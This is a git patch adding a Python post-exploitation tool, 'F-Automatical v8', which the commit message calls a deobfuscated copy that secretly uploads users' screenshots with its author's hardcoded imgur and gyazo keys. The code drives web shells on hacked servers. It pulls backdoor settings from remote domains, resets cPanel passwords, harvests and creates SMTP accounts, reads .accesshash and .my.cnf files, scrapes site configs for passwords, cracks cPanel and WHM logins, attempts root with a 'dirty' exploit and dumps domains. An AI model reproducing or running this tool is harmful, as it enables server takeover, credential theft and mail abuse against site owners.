From 00aad83c6e1fd3890463a20692903b1bac93fabb Mon Sep 17 00:00:00 2001 From: bl4d3rvnner7 <136976682+bl4d3rvnner7@users.noreply.github.com> Date: Sun, 18 May 2025 01:49:30 +0200 Subject: [PATCH] =?UTF-8?q?=F0=9F=94=A5=20F-Automatical=20v8=20[FREE]?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit F-Automatical v8 [FREE] Python 2.7 (Recommended) 🔥 Source code and fully deobfuscated by @scarletta_owner 🔥 FOX = F-Automatical v8 ⚠️ This tool used imgur and gyazo api keys from fox himself. The tool was 1:1 copied from the cyber fox security channel which claim to be the latest fox channel. The function at line 120 and 129 are definitely showing us how the screens with HIS api keys been uploaded. Basically chromium was used to make a screen of your shells/cpanel pass resets on your email. The email was created to receive the passwords but basically he's checking new mails with api calls and not with chromium. Chromium driver was especially used to make screens and upload it on his api. --- F_rev.py | 2963 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 2963 insertions(+) create mode 100644 F_rev.py diff --git a/F_rev.py b/F_rev.py new file mode 100644 index 0000000..4c84197 --- /dev/null +++ b/F_rev.py @@ -0,0 +1,2963 @@ +def modelsInstaller(): + try : + models = ['requests', 'colorama', 'mechanize', 'selenium', 'imgurpython', 'python-gyazo'] + for model in models: + try: + if (sys.version_info[0] < 3): + os.system('cd C:\Python27\Scripts & pip install {}'.format(model)) + else : + os.system('py -m pip install {}'.format(model)) + print (' ') + print (' [+] {} has been installed successfully, Restart the program.'.format(model)) + print (' ') + except: + print (' [-] Install {} manually.'.format(model)) + print (' ') + except: + pass + +import re, sys, os, random, string, time, ssl, json, socket, base64, platform, codecs, binascii, glob, shutil +from time import time as timer +try : + import requests, mechanize, selenium, imgurpython, gyazo + from selenium.webdriver.common.by import By + from colorama import Fore + from colorama import init +except : + modelsInstaller() + +init(autoreset=True) +requests.packages.urllib3.disable_warnings() + +fr = Fore.RED +fc = Fore.CYAN +fw = Fore.WHITE +fg = Fore.GREEN +fm = Fore.MAGENTA +fy = Fore.YELLOW +fb = Fore.BLUE +flb = Fore.LIGHTBLUE_EX +flc = Fore.LIGHTCYAN_EX +flg = Fore.LIGHTGREEN_EX +flm = Fore.LIGHTMAGENTA_EX +flr = Fore.LIGHTRED_EX +fly = Fore.LIGHTYELLOW_EX + +def domain_Fox(site): + site = str(site) + if (site.startswith("http://")) : site = site.replace("http://", "") + elif (site.startswith("https://")) : site = site.replace("https://", "") + if ('www.' in site) : site = site.replace("www.", "") + if ('/' in site): + site = site.rstrip() + site = site.split('/')[0] + return str(site) + +def URL_FOX(site): + site = str(site) + if (site.startswith('http://')) : site = site.replace('http://', ''); p = 'http://' + elif (site.startswith('https://')) : site = site.replace('https://', ''); p = 'https://' + else : p = 'http://' + if ('/' in site): site = site.rstrip().split('/')[0] + return '{}{}'.format(p, site) + +def URL_P(panel): + try: + admins = ['/wp-login.php', '/admin', '/user'] + for admin in admins: + if (str(admin) in str(panel)): return re.findall(re.compile('(.*){}'.format(admin)), panel)[0] + return str(panel).decode('utf8') + except: + return str(panel) + +def shell_Form(shell_URL): + try: + shell_URL = str(shell_URL) + if (not shell_URL.startswith('http://') and not shell_URL.startswith('https://')): shell_URL = 'http://{}'.format(shell_URL) + return str(shell_URL) + except: + return str(shell_URL) + +def input_Fox(txt): + try : + if (sys.version_info[0] < 3): return raw_input(txt).strip() + else : + sys.stdout.write(txt) + return input().strip() + except: + pass + +def file_get_contents_Fox(filename): + with open(filename) as f: return f.read() + +def file_get_contents_Fox2(filename): + with open(filename, 'rb') as f: return f.read() + +def Random_array_Fox(arr): + for n in range(len(arr) - 1): + rnd = random.randint(0, (len(arr) - 1)) + val1 = arr[rnd] + val2 = arr[rnd - 1] + arr[rnd - 1] = val1 + arr[rnd] = val2 + return arr + +def shellPath_Fox(url, filename, ty): + try: + url = str(url) + if ('?' in url): url = url.split('?')[0] + if (ty == 1): shell_path = url.replace(url.split('/')[-1], filename) + if (ty == 2): shell_path = '{}/{}'.format(URL_FOX(url), filename) + return str(shell_path) + except: + return False + +def random_Fox(length): + letters = string.ascii_lowercase + return ''.join(random.choice(letters) for i in range(length)) + + +def imgurproof(argument): + try : + from imgurpython import ImgurClient + imgurapi=ImgurClient('dfb8c853b85d19f','c022256a3d5f14b2541f2d122ebbaff19a8fa6a9') + response=imgurapi.upload_from_path('screenshots/{}'.format(argument), config = None , anon = True) + return response['link'] + except : + return False + +def gyazoproof(argument): + try : + from gyazo import Api + client=Api( access_token = 'goVyPHZD44tWGZLvDt6fA3h4YcvNUw8r4-xwm6n31v8') + with open('screenshots/{}'.format(argument),'rb') as file: + upload=client.upload_image(file) + json_response=json.loads(upload.to_json()) + json_response=json_response['url'] + return json_response + except : + print('') + print(" {}[!] Error [can't upload proofs], You have to change your IP by VPN.".format(fr)) + print('') + return False + +def content_Fox(req): + if (sys.version_info[0] < 3): + try: + try: return str(req.content) + except: + try: return str(req.content.encode('utf-8')) + except: return str(req.content.decode('utf-8')) + except: return str(req.text) + else: + try: + try: + return str(req.content.decode('utf-8')) + except: + try: return str(req.content.encode('utf-8')) + except: return str(req.text) + except: return str(req.content) + +def passwrod_creator(): + try: + lower = string.ascii_lowercase + upper = string.ascii_uppercase + num = string.digits + symbols = '!#%^*_-=/?.!#%^*_-=/?.!#%^*_-=/?.!#%^*_-=/?.' + pwd = '{}{}{}{}'.format(lower, upper, num, symbols) + temp = random.sample(pwd, 12) + password = "".join(temp) + SpecialSym = ['!', '#', '%', '^', '*', '_', '-', '=', '/', '?', '.'] + while(not any(char.isdigit() for char in password) or not any(char.isdigit() for char in password) or not any(char.isupper() for char in password) or not any(char in SpecialSym for char in password)): + temp = random.sample(pwd, 12) + password = "".join(temp) + return '{}{}'.format(random_Fox(1), password) + except: + return False + +def getError(ty): + if (ty == 1): + print(' [-] {}Make sure you are connected to the internet.'.format(fr)) + print(' [-] {}OR You must to change your IP/RDP.'.format(fr)) + else: + print(' [-] {}You must to change your IP/RDP.'.format(fr)) + print(' [!] Or Do a report for Fox, Telegram: {}@Anonymous_F0x\n'.format(fc)) + +def getinfoFox(): + global headers1, backdoor1, backdoor2, backdoor3, backdoor4 + try : + domains=['ufox.co', 'ufox.bz'] + for domain in domains: + try: + r=requests.get('http://{}/info/info_v8.txt'.format(domain), headers = headers1, verify = False, timeout = 15) + r=content_Fox(r) + if (re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r)): + break + except: + pass + if (re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r)): + __script__=re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r) + else: + getError(1); + return False + backdoor1=re.findall(re.compile("\\'files\\': \\'(.*)\\'"),r) + backdoor2=re.findall(re.compile("\\'UP\\': \\'(.*)\\'"),r)[0] + backdoor3=re.findall(re.compile("\\'A\\': \\'(.*)\\'"),r)[0] + backdoor4=re.findall(re.compile("\\'M\\': \\'(.*)\\'"),r)[0] + except Exception as E: + getError(1) + return False + +def log(): + logo = ''' +{} [{}#{}] Create :: +{} ################## +{} # ########################## +{} ############ ############################## +{} ############### ################################## +{} ################ ##################################### +{} ################ ####################################### +{} ################# ####################################### +{} ################## ####################################### +{} ################## ###################################### +{} ################### ########## ################## +{} #################### #### ################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} ################### ################### +{} ################### ## ## ################## +{} ################# #### #### ################## +{} ################### ################## +{} ####################### ###################### +{} ######################### ######################## +{} ########################## ######################### +{} ########################### ########################## +{} ################################################### +{} ################################################ +{} ########################################### +{} ###################################### +{} ################################ +{} ####################### + + {}F{}ox{}C{}yber{}S{}ecurity. +'''.format(fw, fr, fw, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fy, fw, fy, fw, fy, fw) + for line in logo.split("\n"): + print(line) + time.sleep(0.06) + +headers1={'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-GB,en;q=0.5'} + + +headers2 = {'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'Cookie': 'POST=n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo34*f37jMDgQuFPkCVGmOdnrNEjeLKtZocSxfvTIRUzlYWHyqhaXswBpiAbJ', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-GB,en;q=0.5'} + +def shellFox(): + try: + global shell_Fox + getFile('bk.txt', '96701795824345681') + shell_Fox = file_get_contents_Fox('Files/bk.txt') + if ('(.*)

'), msg)): code = re.findall(re.compile('bold">(.*)

'), msg)[0] + elif(re.findall(re.compile('bold\">(.*)<\/p>'), msg)): code = re.findall(re.compile('bold\">(.*)<\/p>'), msg)[0] + elif (re.findall(re.compile('bold\\">(.*)<\\/p>'), msg)): code = re.findall(re.compile('bold\\">(.*)<\\/p>'), msg)[0] + if('<' in str(code)): code = str(code).split('<')[0] + return str(code) + except: + return 'F' + +def msg_chekcer_Fox(email, code): + try: + user = email.split('@')[0] + domain = email.split('@')[1] + ck_sj = requestG_Fox('https://www.1secmail.com/api/v1/?action=getMessages&login={}&domain={}'.format(user, domain), 1, headers1) + #subject = ck_sj.json()[0]["subject"] + if (str(code) in ck_sj): return 'S' + return 'F' + except: + return 'F' + +def en(string): + return binascii.hexlify(str(codecs.encode(string,'rot13')).encode('utf8')).decode('utf8')[::-1] + +def delete_files(folder, exc): + try: + files = glob.glob("{}/*.{}".format(folder, exc)) + for file in files: + try: + os.remove(file) + except: + pass + except: + pass + +def resetPwdA_Fox(backdoor, urlShell) : + try: + global success1, success2 + sys.stdout.write(' {}[*] Reset cPanel Password Automatically '.format(fw)); waiting() + post = {'action': 'reseta'} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post, headers2) + if ('' in resetPwd) : + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + elif (re.findall(re.compile('(.*)'), resetPwd)) : print (' {}[-] {}.'.format(fr, re.findall(re.compile('(.*)'), resetPwd)[0])) + else : + email = getEmail() + if (email == 'F'): + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_e = {'action': 'resets', 'email': email} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_e, headers2) + time.sleep(10) + code = get_SCode_Fox(email) + start = timer() + while ((code == 'F') and ((timer() - start) <= 90)): + time.sleep(10) + code = get_SCode_Fox(email) + if (code == 'F') : + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_c = {'action': 'resets', 'code': code} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2) + if ('' in resetPwd): + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + else: + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + except: + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + +def resetPwdS_Fox(backdoor, urlShell, email) : + try: + global success1, success2 + sys.stdout.write(' {}[*] Reset cPanel Password Semi-Automatically '.format(fw)); waiting() + post_e = {'action': 'resets', 'email': email} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_e, headers2) + if ('' in resetPwd) : + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + elif (re.findall(re.compile('(.*)'), resetPwd)) : print (' {}[-] {}.'.format(fr, re.findall(re.compile('(.*)'), resetPwd)[0])); return + print(' {}[+] The system sent the security code to your email.'.format(fg)) + code = str(input_Fox(' {}[!] Enter the security code :{} '.format(fw, fr))).strip() + if (code == ''): + print (' {}[-] The code is wrong.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_c = {'action': 'resets', 'code': code} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2) + if ('' in resetPwd): + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + else: + print (' {}[-] Reset Password Failed.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + except: + print (' {}[-] Reset Password Failed.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + +def SMTPs_finder(backdoor) : + try: + global success1 + sys.stdout.write(' {}[*] Finding SMTPs '.format(fw)); waiting() + post_f = {'action': 'smtps'} + SMTP_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_f, headers2) + if ('Error-SMTP' in SMTP_F) : print (' {}[-] Another someone has already withdraw it.'.format(fr)) + elif ('' in SMTP_F) : + if (re.findall(re.compile('(.*)'), SMTP_F)): SMTPs = re.findall(re.compile('(.*)'), SMTP_F) + print (' {}[+] Succeeded.'.format(fg)) + for SMTP in SMTPs: + if ('!!' in SMTP): SMTP = SMTP.replace('!!', '@') + print(' {}- {}{}'.format(fg, fr, SMTP)) + open('Results/SMTPs.txt', 'a').write('{}\n'.format(SMTP)); success1 = 1 + else: print (' {}[-] There is no SMTP.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def SMTP_creator(backdoor) : + try: + global success2 + sys.stdout.write(' {}[*] Creating SMTP '.format(fw)); waiting() + post_g = {'action': 'smtp'} + SMTP_C = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_g, headers2) + if ('' in SMTP_C) : + smtpC = re.findall(re.compile('Domian => (.*)
Port => (.*)

SMTPname => (.*)

Password => (.*)
'), SMTP_C)[0] + smtp = '{}|{}|{}@{}|{}'.format(smtpC[0], smtpC[1], smtpC[2], smtpC[0], smtpC[3]) + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, smtp)) + open('Results/SMTPs_Created.txt', 'a').write('{}\n'.format(smtp)); success2 = 1 + else: print (' {}[-] There is no WebMail.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def SMTPs(backdoor) : + try: + SMTPs_finder(backdoor) + SMTP_creator(backdoor) + except: + pass + +def info(backdoor, shell) : + try: + global success1, success2, success3 + txtSav = '' + sys.stdout.write(' {}[*] INFO '.format(fw)); waiting() + post_f = {'action': 'info'} + sc_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_f, headers2) + uname = re.findall(re.compile('
(.*)

'), sc_F)[0] + pwd = re.findall(re.compile('
(.*)

'), sc_F)[0] + ip = re.findall(re.compile('
(.*)

'), sc_F)[0] + phpv = re.findall(re.compile('
(.*)

'), sc_F)[0] + hosting = re.findall(re.compile('
(.*)

'), sc_F)[0] + country = re.findall(re.compile('
(.*)

'), sc_F)[0] + txtSav = '{}{}'.format(txtSav, '{}\n'.format(shell)) + print (' {}[U] {}'.format(fm, uname)); txtSav = '{}{}'.format(txtSav, 'Uname: {}\n'.format(uname)) + print (' {}[P] {}'.format(fm, pwd)); txtSav = '{}{}'.format(txtSav, 'PWD: {}\n'.format(pwd)) + if ('[-] Windows' in sc_F): + print (' {}[*] OS: {}Windows'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'OS: Windows\n') + open('Results/Windows_servers.txt', 'a').write('{}\n'.format(shell)) + else: + print (' {}[*] OS: {}Linux'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'OS: Linux\n') + if (' 2015 ' in uname or ' 2014 ' in uname or ' 2013 ' in uname or ' 2012 ' in uname or ' 2011 ' in uname or ' 2010 ' in uname): open('Results/Roots_servers.txt', 'a').write('{}\n'.format(shell)) + elif (' 2016 ' in uname): + if (' Dec ' not in uname and ' Nov ' not in uname): open('Results/Roots_servers.txt', 'a').write('{}\n'.format(shell)); success2 = 1 + if ('[+] cPanel' in sc_F): + print (' {}[*] SC: {}cPanel'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'SC: cPanel\n') + open('Results/cPanel_servers.txt', 'a').write('{}\n'.format(shell)); success3 = 1 + elif ('[+] vHosts' in sc_F): + print (' {}[*] SC: {}vHosts'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'SC: vHosts\n') + open('Results/vHosts_servers.txt', 'a').write('{}\n'.format(shell)) + print (' {}[*] PHP: {}{}'.format(fr, fg, phpv)); txtSav = '{}{}'.format(txtSav, 'PHP: {}\n'.format(phpv)) + print (' {}[*] IP: {}{}'.format(fr, fg, ip)); txtSav = '{}{}'.format(txtSav, 'IP: {}\n'.format(ip)) + print (' {}[*] Hosting: {}{}'.format(fr, fg, hosting)); txtSav = '{}{}'.format(txtSav, 'Hosting: {}\n'.format(hosting)) + print (' {}[*] Conuntry: {}{}'.format(fr, fg, country)); txtSav = '{}{}'.format(txtSav, 'Conuntry: {}\n'.format(country)) + if(re.findall(re.compile('
(.*)

'), sc_F)): + domains = re.findall(re.compile('
(.*)

'), sc_F)[0] + try: domains = int(domains) + except: domains = 0 + if(domains != 0): + print (' {}[*] Domains: {}{}'.format(fr, fg, domains)) + txtSav = '{}{}'.format(txtSav, 'Domains: {}\n'.format(domains)) + open('Results/info_servers.txt', 'a').write('{}--------------------------------------------------------------------------------------------------\n'.format(txtSav)); success1 = 1 + except : + print(' {}[-] Failed.'.format(fr)) + +def accesshash_mycnf(backdoor, shell) : + try: + global success1, success2, backdoor3, backdoor4 + sys.stdout.write(' {}[*] (.accesshash/.my.cnf) Files Finder '.format(fw)); waiting() + post_a = {'action': 'accesshash'} + AC_MY = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_a, headers2) + acss = 0 + if ('[+] Accesshash' in AC_MY): + print (' {} -{} {} => {}[{}Accesshash{}]'.format(fr, fg, shell, fr, fg, fr)) + open('Results/accesshash.txt', 'a').write('{}?action={}\n'.format(backdoor, backdoor3)); success1 = 1 + acss = 1 + else: print (' {} - {} => [Not Found Accesshash]'.format(fr, shell)) + if ('[+] mycnf' in AC_MY): + print (' {} -{} {} => {}[{}Mycnf{}]'.format(fr, fg, shell, fr, fg, fr)) + open('Results/mycnf.txt', 'a').write('{}?action={}\n'.format(backdoor, backdoor4)); success2 = 1 + else: print (' {} - {} => [Not Found Mycnf]'.format(fr, shell)) + if (acss == 1): WHM_AH_exploiter(backdoor) + except: + print (' {}[-] Failed.'.format(fr)) + +def configs(backdoor, shell): + try: + sys.stdout.write(' {}[*] Trying get Configs '.format(fw)); waiting() + post_c = {'action': 'config'} + try: conf = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post_c, headers=headers2, verify=False, timeout=240)) + except: conf = '' + if('' not in conf): + post_f = {'action': 'finder', 'action1': '200'} + conf = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), 1, post_f, headers2) + folder = re.findall(re.compile('(.*)'), conf)[0] + cf_path = shellPath_Fox(backdoor, '{}/'.format(folder), 1) + ck_conf = requestG_Fox(cf_path, 1, headers1, 500) + if ('Index of' in ck_conf): + print (' {}[+] Configs => {}{}'.format(fg, fr, cf_path)) + if('.txt' not in ck_conf): print (' {}[-] There is no Config.'.format(fr)); return False + sc_F = str(script_Finder(backdoor, cf_path, shell)) + if (sc_F == '101'): print (' {}[-] Please, try manually.'.format(fr)); return False + elif (sc_F == '404'): + print (' {}[-] 404 Config.'.format(fr)) + cf_path = configs404(backdoor, shell) + if (cf_path is False): return False + else: return cf_path[0], cf_path[1] + else: print (sc_F); return cf_path, ck_conf + else: print (' {}[-] Failed.1'.format(fr)); return False + except : + return False + +def configs404(backdoor, shell): + try: + sys.stdout.write(' {}[*] Trying get Configs{}404 '.format(fw, fr)); waiting() + post_c = {'action': '404'} + try: conf404 = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post_c, headers=headers2, verify=False, timeout=300)) + except: conf404 = '' + if('' not in conf404): + post_f = {'action': 'finder', 'action1': '404'} + conf404 = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), 1, post_f, headers2) + folder = re.findall(re.compile('(.*)'), conf404)[0] + cf_path = shellPath_Fox(backdoor, '{}/'.format(folder), 1) + ck_conf = requestG_Fox(cf_path, 1, headers1, 500) + if ('Index of' in ck_conf): + print (' {}[+] Configs{}404{} => {}{}'.format(fg, fr, fg, fr, cf_path)) + sc_F = str(script_Finder(backdoor, cf_path, shell, '404')) + if (sc_F == '404' or sc_F == '101'): print (' {}[-] There is no Config.'.format(fr)); return False + else: print (sc_F); return cf_path, ck_conf + else: print (' {}[-] Failed.'.format(fr)); return False + except: + print (' {}[-] Failed.'.format(fr)); return False + +def HTML_cleaner(src): + try: + src = str(src) + if ('&' in src): src = src.replace('&', '&') + if ('<' in src): src = src.replace('<', '<') + if ('>' in src): src = src.replace('>', '>') + return str(src) + except: + return str(src) + +def script_Finder(backdoor, configsURL, shell, typ = '200'): + rz = '404' + global passwordsTXT, whmcsS, success1 + whmcsS = [] + try: + sys.stdout.write(' {}[*] Trying Check Scripts '.format(fw)); waiting() + post_c = {'action': 'password', 'action1': typ, 'url': configsURL} + sc_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2, 500) + if (re.findall(re.compile('(.*)'), sc_F)): rz = re.findall(re.compile('(.*)'), sc_F)[0] + elif ('' in sc_F): + if (re.findall(re.compile('
(.*)'), sc_F)): + passwords = re.findall(re.compile('
(.*)'), sc_F) + passwordsTXT = '' + for password in passwords: + password = HTML_cleaner(str(password)) + passwordsTXT = '{}{}\n'.format(passwordsTXT, password) + if (re.findall(re.compile('
(.*)'), sc_F)): + whmcs = re.findall(re.compile('
(.*)'), sc_F) + for whm in whmcs: + whmcsS.append(whm) + if (re.findall(re.compile('
(.*)
'), sc_F)): + countWP = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countWP = 0 + if (re.findall(re.compile('
(.*)
'), sc_F)): + countJM = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countJM = 0 + if (re.findall(re.compile('
(.*)
'), sc_F)): + countOC = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countOC = 0 + rz = ' {}[+] Found {}{}{} WordPress Configs, {}{}{} Joomla Configs, {}{}{} OpenCart Configs'.format(fg, fr, countWP, fg, fr, countJM, fg, fr, countOC, fg) + if(whmcsS): rz = '{}\n {}[+] Found {}WHMCS'.format(rz, fg, flb) + open('Results/Configs.txt', 'a').write('Shell => {}\nConfig => {}\n[+] Found {} WordPress Config, {} Joomla Config, {} OpenCart Config\n--------------------------------------------------------------------------------------------------\n'.format(shell, configsURL, countWP, countJM, countOC)); success1 = 1 + return rz + except: + return rz + +def cPanels_Cracker(backdoor) : + try: + global success2, success3 + sys.stdout.write(' {}[*] cPanels-WHM Crack '.format(fw)); waiting() + post_c = {'action': 'users'} + cp_us = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_c, headers2) + usernames = re.findall(re.compile('(.*)'), cp_us) + usernamesTXT = '' + for username in usernames: usernamesTXT = '{}{}\n'.format(usernamesTXT, str(username)) + post_ck = {'action': 'cp', 'passwords': passwordsTXT, 'usernames': usernamesTXT} + cp_ck = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_ck, headers2, 1000) + if ('0' in cp_ck): print (' {}[-] Found 0 cPanel.'.format(fr)) + else: + n = re.findall(re.compile('(.*)'), cp_ck)[0] + if (re.findall(re.compile('(.*)'), cp_ck)): cpanelRs = re.findall(re.compile('(.*)'), cp_ck) + if (re.findall(re.compile('(.*)'), cp_ck)): cpanels = re.findall(re.compile('(.*)'), cp_ck) + print (' {}[+] Found {} cPanel.'.format(fg, n)) + if ('cpanels' in locals()): + for cpanel in cpanels: + cpanel = HTML_cleaner(cpanel) + print(' {} - {}{}'.format(fg, fr, cpanel)) + open('Results/cPanels_Cracked.txt', 'a').write('{}\n'.format(cpanel)); success2 = 1 + if ('cpanelRs' in locals()): + for cpanelR in cpanelRs: + cpanelR = HTML_cleaner(cpanelR) + print (' {} - {}{} [{}Reseller{}]'.format(fr, fg, cpanelR, fr, fg)) + open('Results/cPanels_Cracked.txt', 'a').write('{}\n'.format(cpanelR)); success2 = 1 + cpRs = cpanelR.replace(':2083', ':2087') + open('Results/WHM_Resellers_Cracked.txt', 'a').write('{}\n'.format(cpRs)); success3 = 1 + WHM_exploiter(backdoor, cpanelRs) + except: + print (' {}[-] Please, try manually.'.format(fr)) + +def rooter(backdoor, shell) : + try: + global success1 + sys.stdout.write(' {}[*] Trying get Root '.format(fw)); waiting() + post_r = {'action': 'root'} + try: g_root = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=post_r, headers=headers2, verify=False, timeout=300)) + except: g_root = '' + if ('Error2-Root' in g_root): print (' {}[-] It doesn\'t work with ./dirty.'.format(fr)); return + if (g_root == ''): time.sleep(15) + post_k = {'action': 'check'} + ck_rt = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_k, headers2) + if('' not in ck_rt): print (' {}[-] It didn\'t work with ./dirty.'.format(fr)) + ip_serv = re.findall(re.compile('(.*)'), ck_rt)[0] + print(' {}[+] Succeeded.\n - {} IP: {} {}|{} PORT: 22 {}|{} USERNAME: root {}|{} PASSWORD: 0'.format(fg, fr, ip_serv, fw, fr, fw, fr, fw, fr)) + print(' {}[!] Note 1: Port 22, It is the default port, If it does not work, Execute: [{}netstat -lnp --ip{}]'.format(fw, fr, fw)) + print(' {}[!] Note 2: It is best to wait 5 minutes before trying to log in.'.format(fw)) + open('Results/ROOTs.txt', 'a').write('{}\n{}|22|root|0\n---------------------------------------------------------------------------------------------------\n'.format(shell, ip_serv)); success1 = 1 + except: + print (' {}[-] Failed.'.format(fr)) + +def HTML_Filter(src): + try: + key_one = src.rfind('>') + new_src = src[key_one:][1:] + return new_src + except: + return False + +def domains(backdoor) : + try: + sys.stdout.write(' {}[*] Trying get Domains '.format(fw)); waiting() + post_d = {'action': 'domains'} + gt_doms = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_d, headers2) + if('' in gt_doms): print (' {}[-] Failed.'.format(fr)); return + ip_serv = re.findall(re.compile('(.*)'), gt_doms)[0] + gt_doms = HTML_Filter(gt_doms) + if(gt_doms is False): print (' {}[-] Failed.'.format(fr)); return + domains_counter = 0 + gt_doms = gt_doms.split('\n') + domains_F = '' + for gt_dom in gt_doms: + if('.' in gt_dom): + domains_F = '{}{}\n'.format(domains_F, gt_dom) + domains_counter = domains_counter + 1 + patheListDomains = r'Results/Domains_lists' + if (not os.path.exists(patheListDomains)): os.makedirs(patheListDomains) + open('Results/Domains_lists/{}.txt'.format(ip_serv), 'w').write(domains_F) + open('Results/Domains_lists/0.0.0.0.All_Domains.txt', 'a').write(domains_F) + print (' {}[+] Number of domains: {}{}'.format(fg, fr, domains_counter)) + print (' {}[+] Saved in {}Results/Domains_lists/{}.txt'.format(fg, fr, ip_serv)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_single(backdoor): + try: + sys.stdout.write(' {}[*] Trying get Mails '.format(fw)); waiting() + post_m = {'action': 'mail'} + try: gt_mail = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), data=post_m, headers=headers2, verify=False, timeout=1005)) + except: gt_mail = '' + if ('' in gt_mail): print (' {}[-] 